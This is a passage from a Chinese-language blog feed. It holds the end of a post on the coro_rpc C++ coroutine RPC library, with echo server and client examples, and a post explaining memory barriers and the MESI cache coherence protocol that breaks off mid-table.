&lt;h3 id=&quot;rpcshi-yong-https-alibaba-github-io-yalantinglibs-zh-coro-rpc-coro-rpc-introduction-html-rpc-server-e7-ab-af&quot;&gt;rpc使用https:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;coro_rpc&#x2F;coro_rpc_introduction.html#rpc-server%E7%AB%AF &quot;&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;1.定义rpc函数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; rpc_service.hpp
inline std::string echo(std::string str) { return str; }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;2.注册rpc函数和启动server&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;quot;rpc_service.hpp&amp;quot;
#include &amp;lt;ylt&amp;#x2F;coro_rpc&amp;#x2F;coro_rpc_server.hpp&amp;gt;

int main() {

&amp;#x2F;&amp;#x2F; 初始化服务器
coro_rpc_server server(&amp;#x2F;*thread_num =*&amp;#x2F;10, &amp;#x2F;*port =*&amp;#x2F;9000);

  server.register_handler&amp;lt;echo&amp;gt;(); &amp;#x2F;&amp;#x2F; 注册rpc函数

  server.start(); &amp;#x2F;&amp;#x2F; 启动server并阻塞等待
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于rpc服务端来说，用户只需要定义rpc函数再启动server即可，不需要关注其它细节，5，6行代码就可以提供一个rpc服务了，是不是很简单！再来看看client是怎么调用hello这个rpc服务的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rpc-clientduan&quot;&gt;&lt;strong&gt;rpc_client端&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;连接服务端&lt;&#x2F;li&gt;
&lt;li&gt;rpc调用&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;quot;rpc_service.hpp&amp;quot;
#include &amp;lt;ylt&amp;#x2F;coro_rpc&amp;#x2F;coro_rpc_client.hpp&amp;gt;

Lazy&amp;lt;void&amp;gt; test_client() {
  coro_rpc_client client;
co_await client.connect(&amp;quot;localhost&amp;quot;, &amp;#x2F;*port =*&amp;#x2F;&amp;quot;9000&amp;quot;);

auto r = co_await client.call&amp;lt;echo&amp;gt;(&amp;quot;hello coro_rpc&amp;quot;); &amp;#x2F;&amp;#x2F;传参数调用rpc函数
  std::cout &amp;lt;&amp;lt; r.result.value() &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;; &amp;#x2F;&amp;#x2F;will print &amp;quot;hello coro_rpc&amp;quot;
}

int main() {
syncAwait(test_client());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;client调用rpc函数也同样简单，5，6行代码就可以实现rpc调用了。 就像调用本地函数一样调用远程rpc函数，在call里面输入函数名字和参数就可以实现远程调用了，非常简单。&lt;&#x2F;p&gt;
&lt;p&gt;上面的这个简单的例子已经充分展示了coro_rpc的易用性和特点了，也体现了rpc的本质，即用户可以像调用本地函数那样调用远程函数，用户只需要关注rpc函数的业务逻辑即可。&lt;&#x2F;p&gt;
&lt;p&gt;coro_rpc的接口易用性还体现在rpc函数几乎没有任何限制，rpc函数可以拥有任意多个参数，参数的序列化和反序列化由rpc库自动完成，用户无需关心。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;he-grpc-brpcbi-jiao-yi-yong-xing-https-alibaba-github-io-yalantinglibs-zh-coro-rpc-coro-rpc-introduction-html-e5-92-8cgrpc-e3-80-81brpc-e6-af-94-e8-be-83-e6-98-93-e7-94-a8-e6-80-a7&quot;&gt;和grpc、brpc比较易用性https:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;coro_rpc&#x2F;coro_rpc_introduction.html#%E5%92%8Cgrpc%E3%80%81brpc%E6%AF%94%E8%BE%83%E6%98%93%E7%94%A8%E6%80%A7 &quot;&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;rpc易用性比较https:&#x2F;&#x2F;alibaba.github.io&#x2F;yalantinglibs&#x2F;zh&#x2F;coro_rpc&#x2F;coro_rpc_introduction.html#rpc%E6%98%93%E7%94%A8%E6%80%A7%E6%AF%94%E8%BE%83 &quot;&quot;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;RPC&lt;&#x2F;th&gt;&lt;th&gt;是否需要定义DSL&lt;&#x2F;th&gt;&lt;th&gt;是否支持协程&lt;&#x2F;th&gt;&lt;th&gt;hello world例子代码行数&lt;&#x2F;th&gt;&lt;th&gt;依赖库&lt;&#x2F;th&gt;&lt;th&gt;是否header only&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;grpc&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;70+&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;helloworld&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;grpc&#x2F;grpc&#x2F;tree&#x2F;master&#x2F;examples&#x2F;cpp&#x2F;helloworld&quot;&gt;helloworld&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;brpc&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;40+&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;helloworld&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;apache&#x2F;incubator-brpc&#x2F;tree&#x2F;master&#x2F;example&#x2F;asynchronous_echo_c%2B%2B&quot;&gt;helloworld&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;coro_rpc&lt;&#x2F;td&gt;&lt;td&gt;No&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;Yes&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;c-wei-lai-yan-hua&quot;&gt;c++未来演化&lt;&#x2F;h2&gt;
&lt;p&gt;如果说C++11是C++的一个里程碑，那么C++20就是现代C++的一个里程碑。因为它引入了非常重要的几个特性，而这将改变C++的编程理念和模型，当然也让C++变得更加好用，比如Concepts、Modules、Coroutine、Ranges等。以协程（Coroutine）为例，它可以让我们用同步方式写异步代码，彻底摆脱了回调地狱（Callback Hell），异步回调模型将被协程代替。用C++20新标准，失去的是弯弯绕绕的Callback，得到的是简单直接的协程。协程让异步变得简单，在未来3~5年，C++网络库的协程化将是大势所趋。&lt;&#x2F;p&gt;
&lt;p&gt;Modules让我们不用再引入include头文件了，而是像其他语言一样使用import库就好，同时它还会大大提升编译速度。将async_simple[2] 模块化后，编译速度提升了45%，性能也略有提升。可以说，Modules带来了C++统一包管理的曙光。&lt;&#x2F;p&gt;
&lt;p&gt;C++新标准的演进速度比较快，从C++11开始保持着三年一个版本的迭代速度，后面还有C++23&#x2F;26&#x2F;29。而未来C++标准将提供更多好东西，比如Executors、Networking、编译期反射等。虽然新标准推出比较快，但基于新标准的库却跟不上，比如协程库，目前除了async_simple外，能用的无栈协程库几乎没有，这也是C++的遗留问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-ta-zi-yuan&quot;&gt;其他资源&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;json与C++结构体互相转换_c++ 结构体 转 json_xyz347的博客-CSDN博客&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;xyz347&#x2F;article&#x2F;details&#x2F;79338202&#x2F;&quot;&gt;json与C++结构体互相转换_c++ 结构体 转 json_xyz347的博客-CSDN博客&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;高效工具推荐----vcpkg - 知乎&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;594853679?utm_id=0&quot;&gt;高效工具推荐----vcpkg - 知乎&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;反射实现无侵入式序列化_yalantinglibs_故人帝梦的博客-CSDN博客&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;weixin_45620740&#x2F;article&#x2F;details&#x2F;128357812&quot;&gt;反射实现无侵入式序列化_yalantinglibs_故人帝梦的博客-CSDN博客&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Github C++项目积累_xupeng1644的博客-CSDN博客&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;xp178171640&#x2F;article&#x2F;details&#x2F;122575219&quot;&gt;Github C++项目积累_xupeng1644的博客-CSDN博客&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;iguana反射功能 - 知乎&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;436407266&quot;&gt;iguana反射功能 - 知乎&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;purecpp - a cool open source modern c++ community&quot; href=&quot;http:&#x2F;&#x2F;purecpp.cn&#x2F;detail?id=2369&quot;&gt;purecpp - a cool open source modern c++ community&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>操作系统——什么是内存屏障？</title>
        <published>2024-01-24T00:00:00+00:00</published>
        <updated>2024-01-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/操作系统-什么是内存屏障/"/>
        <id>https://vercel.juzhong.asia/obsidian/操作系统-什么是内存屏障/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/操作系统-什么是内存屏障/">&lt;h1 id=&quot;cao-zuo-xi-tong-shen-me-shi-nei-cun-ping-zhang&quot;&gt;操作系统——什么是内存屏障？&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;nei-cun-ping-zhang&quot;&gt;&lt;strong&gt;内存屏障&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;CPU乱序执行在单线程环境下是一种很好的优化手段，但是在多线程环境下，就会出现数据不一致的问题，因此就可以通过内存屏障这个机制来处理这个问题。&lt;&#x2F;p&gt;
&lt;p&gt;1.写内存屏障(Store Memory Barrier)：在指令后插入Store Barrier，能让写入缓存中最新数据更新写入主内存中，让其他线程可见。强制写入主内存，这种显示调用，不会让CPU去进行指令重排序
2.读内存屏障(Load Memory Barrier)：在指令后插入Load Barrier，可以让高速缓存中的数据失效，强制重新从主内存中加载数据。也是不会让CPU去进行指令重排。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-ji-suan-ji-cpuyi-ji-duo-ji-huan-cun&quot;&gt;&lt;strong&gt;一、计算机CPU以及多级缓存&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;现代CPU现在比现代的内存系统快得多。为了弥合这一鸿沟，CPU使用复杂的缓存系统，这些系统可以有效地快速生成硬件哈希表，而无需链接。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一张从美团的技术博客———— &lt;strong&gt;《高性能队列——Disruptor》&lt;&#x2F;strong&gt;  讲解&lt;em&gt;&lt;strong&gt;伪共享&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; 时的配图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;memory-barrier&#x2F;cpu-cache-l1-l2-l3.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;L1、L2、L3分别表示一级缓存、二级缓存、三级缓存，越靠近CPU的缓存，速度越快，容量也越小。&lt;&#x2F;li&gt;
&lt;li&gt;L1 缓存很小但很快，并且紧靠着在使用它的CPU内核；&lt;&#x2F;li&gt;
&lt;li&gt;L2 大一些，也慢一些，并且&lt;strong&gt;仍然只能被一个单独的CPU核使用&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;L3 更大、更慢，并且&lt;strong&gt;被单个插槽上的所有CPU核共享&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;最后是主存（内存），&lt;strong&gt;被全部插槽上的所有CPU核共享&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外，线程之间共享一份数据的时候，需要一个线程把数据写回主存，而另一个线程访问主存中相应的数据。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-memory-barrier&quot;&gt;&lt;strong&gt;二、Memory Barrier&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;接着就是  &lt;strong&gt;《Disruptor Paper》&lt;&#x2F;strong&gt;  中 Memory Barriers 一节中的论述：&lt;&#x2F;p&gt;
&lt;p&gt;这些缓存通过&lt;strong&gt;消息传递协议&lt;&#x2F;strong&gt;与其他处理器缓存系统保持一致。&lt;&#x2F;p&gt;
&lt;p&gt;此外，处理器具有“存储缓冲区”来卸载对这些缓存的写入，以及“使队列失效”，以便缓存一致性协议能够在即将发生写入时快速确认失效消息，从而提高效率。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;读内存屏障&lt;&#x2F;strong&gt;通过在无效队列中标记一个点来指示 CPU 上的加载指令来执行它，以便更改进入其缓存。 这使它对在读取屏障之前排序的写入操作具有一致的视图。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;写屏障&lt;&#x2F;strong&gt;通过在存储缓冲区中标记一个点来命令 CPU 上的存储指令执行它，从而通过其缓存刷新写出。 这个屏障提供了一个有序的视图，了解在写入屏障之前发生了什么存储操作。&lt;&#x2F;p&gt;
&lt;p&gt;在Java内存模型中，volatile字段的读写分别实现读写屏障。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-huan-cun-yi-zhi-xing-xie-yi-mesi&quot;&gt;&lt;strong&gt;三、缓存一致性协议————MESI&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;MESI 协议是 &lt;strong&gt;Cache line&lt;&#x2F;strong&gt; 四种状态的首字母的缩写，分别是修改（Modified）态、独占（Exclusive）态、共享（Shared）态和失效（Invalid）态。 Cache 中缓存的每个 Cache Line 都必须是这四种状态中的一种。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-1-cache-de-zhuang-tai&quot;&gt;&lt;strong&gt;3.1 Cache 的状态：&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Cache块状态&lt;&#x2F;th&gt;&lt;th&gt;详细解释&lt;&#x2F;th&gt;&lt;th&gt;简要说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;修改态（Modified）&lt;&#x2F;td&gt;&lt;td&gt;如果该 Cache Line 在多个 Cache 中都有备份，那么只有一个备份能处于这种状态，并且“dirty”标志位被置上。拥有修改态 Cache Line 的 Cache 需要在某个合适的时候把该 Cache Line 写回到内存中。但是在写回之前，任何处理器对该 Cache Line在内存中相对应的内存块都不能进行读操作。 Cache Line 被写回到内存中之后，其状态就由修改态变为共享态。&lt;&#x2F;td&gt;&lt;td&gt;当前CPU cache拥有最新数据（最新的cache line），其他CPU拥有失效数据（cache line的状态是invalid），虽然当前CPU中的数据和主存是不一致的，但是以当前CPU的数据为准；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;独占态（Exclusive）&lt;&#x2F;td&gt;&lt;td&gt;和修改状态一样，如果该 Cache Line 在多个 Cache 中都有备份，那么只有一个备份能处于这种状态，但是“dirty”标志位没有置上，因为它是和主内存内容保持一致的一份拷贝。如果产生一个读请求，它就可以在任何时候变成共享态。相应地，如果产生了一个写请求，它就可以在任何时候变成修改态。&lt;&#x2F;td&gt;&lt;td&gt;只有当前CPU中有数据，其他CPU中没有改数据，当前CPU的数据和主存中的数据是一致的；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;共享态（Shared）&lt;&#x2F;td&gt;&lt;td&gt;意味着该 Cache Line 可能在多个 Cache 中都有备份，并且是相同的状态，它是和内存内容保持一致的一份拷贝，而且可以在任何时候都变成其他三种状态。&lt;&#x2F;td&gt;&lt;td&gt;当前CPU和其他CPU中都有共同数据，并且和主存中的数据一致；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;失效态（Invalid）&lt;&#x2F;td&gt;&lt;td&gt;该 Cache Line 要么已经不在 Cache 中，要么它的内容已经过时。一旦某个Cache Line 被标记为失效，那它就被当作从来没被加载到 Cache 中；&lt;&#x2F;td&gt;&lt;td&gt;当前CPU中的数据失效，数据应该从主存中获取，其他CPU中可能有数据也可能无数据，当前CPU中的数据和主存被认为是不一致的；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;3-2-cache-de-cao-zuo&quot;&gt;&lt;strong&gt;3.2 Cache 的操作：&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;MESI协议中，每个cache的控制器不仅知道自己的操作（local read和local write），每个核心的缓存控制器通过监听也知道其他CPU中cache的操作（remote read和remote write），进而再确定自己cache中共享数据的状态是否需要调整。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作类型&lt;&#x2F;th&gt;&lt;th&gt;操作说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;local read&lt;&#x2F;td&gt;&lt;td&gt;读本地cache中的数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;local write&lt;&#x2F;td&gt;&lt;td&gt;将数据写到本地cache&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;remote read&lt;&#x2F;td&gt;&lt;td&gt;其他核心发生read&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;remote write&lt;&#x2F;td&gt;&lt;td&gt;其他核心发生write&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在维基百科 &lt;strong&gt;MSI protocol&lt;&#x2F;strong&gt;，国内可能打不开维基百科链接，可以看看 TheFreeDictionary&lt;strong&gt;MSI protocol&lt;&#x2F;strong&gt;，对于操作的定义很详尽：&lt;&#x2F;p&gt;
&lt;p&gt;Cache块的状态从一种状态过渡到另一种状态，通常有两大类刺激因素：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;第一个刺激因素是处理器的特定读写请求。例如：处理器P1在其缓存中有一个块X，并且有来自处理器的从该块读取或写入的请求。&lt;&#x2F;li&gt;
&lt;li&gt;第二个刺激因素来自另一个处理器。例如：处理器P2的缓存中没有缓存块或缓存块中不是最新数据，当前处理器P1通过连接所有处理器的总线收到来自处理器P2的“刺激”。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;总线请求在侦测器（Snoopers）的帮助下被监视，侦测器监视所有总线事务。&lt;&#x2F;p&gt;
&lt;p&gt;以下是不同类型的处理器请求和总线侧请求：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;处理器对缓存的请求包括以下操作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;处理器读缓存块请求（PrRd: The processor requests to read a Cache block.）&lt;&#x2F;li&gt;
&lt;li&gt;处理器写缓存块请求（PrWr: The processor requests to write a Cache block.）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线侧请求包括以下操作：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线读请求（BusRd）: 表明正有其他处理器请求读取缓存块。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线写请求（BusRdX）：表明正有其他处理器请求写入一个它的缓存中不存在的缓存块。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线更新请求（BusUpgr）：表明有其他处理器请求写入一个已经保存在缓存中的缓存块。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线“回写”请求（Flush）：表明其他处理器正在回写一整块缓存块到主存中。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;总线“缓存到缓存的传输”请求（FlushOpt）：整个缓存块发布在总线上，以便将其提供给另一个处理器。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;如果将数据块从主存转移到缓存的延迟大于从缓存转移到缓存的延迟（在基于总线的系统中通常是这样），则这种缓存到缓存的转移可以减少读未命中延迟。但在多核架构中，一致性保持在二级缓存级别，片上三级缓存可能更快从三级缓存而不是从另一个二级缓存获取丢失的块。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;侦测（Snooping）操作：在侦测系统中，总线上的所有缓存监视（或侦测）所有总线事务。每个缓存都有其存储的每个物理内存块的共享状态副本。根据所用协议的状态图更改块的状态。总线的两侧都有侦测者：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;处理器&#x2F;缓存端的侦测器。&lt;&#x2F;li&gt;
&lt;li&gt;内存侧的监听功能由内存控制器完成。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每个缓存块都有自己的4种状态Finite State Machine（MESI）。表1.1和表1.2显示了与不同输入有关的状态转换和特定状态下的响应：&lt;&#x2F;p&gt;
&lt;p&gt;Table 1.1 状态转换和对各种处理器操作的响应&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;初始状态&lt;&#x2F;th&gt;&lt;th&gt;处理器操作&lt;&#x2F;th&gt;&lt;th&gt;响应&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Invalid(I)&lt;&#x2F;td&gt;&lt;td&gt;PrRd&lt;&#x2F;td&gt;&lt;td&gt;1. 向总线发出BusRd信号；2. 其他缓存看到BusRd，检查是否有有效副本，通知发送方缓存；3. 如果其他缓存具有有效副本，则状态转换为共享Shared(S)；4. 如果其他缓存没有有效副本(必须确保所有其他缓存都已报告) ，则状态转换为共享Exclusive(E)；5. 若其他缓存具有副本，则其中一个缓存发送值，否则从主存获取；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;PrWr&lt;&#x2F;td&gt;&lt;td&gt;1. 在总线上发出BusRdX信号；2. 在请求程序缓存中状态转换为Modified(M)；3. 如果其他缓存有副本，则发送值，否则从主存获取；4. 如果其他缓存有副本，它们将看到BusRdX信号并使其副本无效；5. 写入缓存块修改该值；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Exclusive(E)&lt;&#x2F;td&gt;&lt;td&gt;PrRd&lt;&#x2F;td&gt;&lt;td&gt;1. 没有生成总线事务；2. 状态保持不变；3. 对块的读取命中缓存；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;PrWr&lt;&#x2F;td&gt;&lt;td&gt;1. 没有生成总线事务；2. 状态从Exclusive(E)转换到Modified(M)；3. 对块的写入命中缓存；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Shared(S)&lt;&#x2F;td&gt;&lt;td&gt;PrRd&lt;&#x2F;td&gt;&lt;td&gt;1. 没有生成总线事务；2. 状态保持不变；3. 对块的读取命中缓存；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;PrWr&lt;&#x2F;td&gt;&lt;td&gt;1. 在总线上发出BusUpgr信号；2. 状态从Shared(S)转换到Modified(M)；3. 其他缓存看到BusUpgr并将其块副本标记为Invalid(I)。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Modified(M)&lt;&#x2F;td&gt;&lt;td&gt;PrRd&lt;&#x2F;td&gt;&lt;td&gt;1. 没有生成总线事务；2. 状态保持不变；3. 对块的读取命中缓存；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;PrWr&lt;&#x2F;td&gt;&lt;td&gt;1. 没有生成总线事务；2. 状态保持不变；3. 对块的写入命中缓存；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Table 1.2 状态转换和对各种总线操作的响应&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;初始状态&lt;&#x2F;th&gt;&lt;th&gt;总线操作&lt;&#x2F;th&gt;&lt;th&gt;响应&lt;&#x2F;th&gt;&lt;th&gt;备注&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Invalid(I)&lt;&#x2F;td&gt;&lt;td&gt;BusRd&lt;&#x2F;td&gt;&lt;td&gt;没有状态变化。信号被忽略；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusRdX&lt;&#x2F;td&gt;&lt;td&gt;没有状态变化。信号被忽略；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusUpgr&lt;&#x2F;td&gt;&lt;td&gt;没有状态变化。信号被忽略；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Exclusive(E)&lt;&#x2F;td&gt;&lt;td&gt;BusRd&lt;&#x2F;td&gt;&lt;td&gt;1. 状态由Exclusive转换为Shared（因为它意味着在其他缓存中进行读取）；2. 将FlushOpt信号和块内容一起发送到总线；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;BusRdX&lt;&#x2F;td&gt;&lt;td&gt;1. 状态由Exclusive转换为Invalid；2. 将FlushOpt信号和现在已无效的块中的数据一起发送到总线；&lt;&#x2F;td&gt;&lt;td&gt;1. 发生PrWr的处理器缓存将接收已失效的块中的数据，因为缓存到缓存的传输通常比内存到缓存的传输延迟要短；2. 有且仅有一个缓存状态是Exclusive，其他缓存状态是Invalid(I)，因此不会有BusUpgr操作；&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Shared(S)&lt;&#x2F;td&gt;&lt;td&gt;BusRd&lt;&#x2F;td&gt;&lt;td&gt;1. 无状态变化（其他缓存在此块上执行读取，因此仍然共享）；2. 可以将FlushOpt和块的内容一起放在总线上（设计选择，哪个共享状态的缓存可以执行此操作）；&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
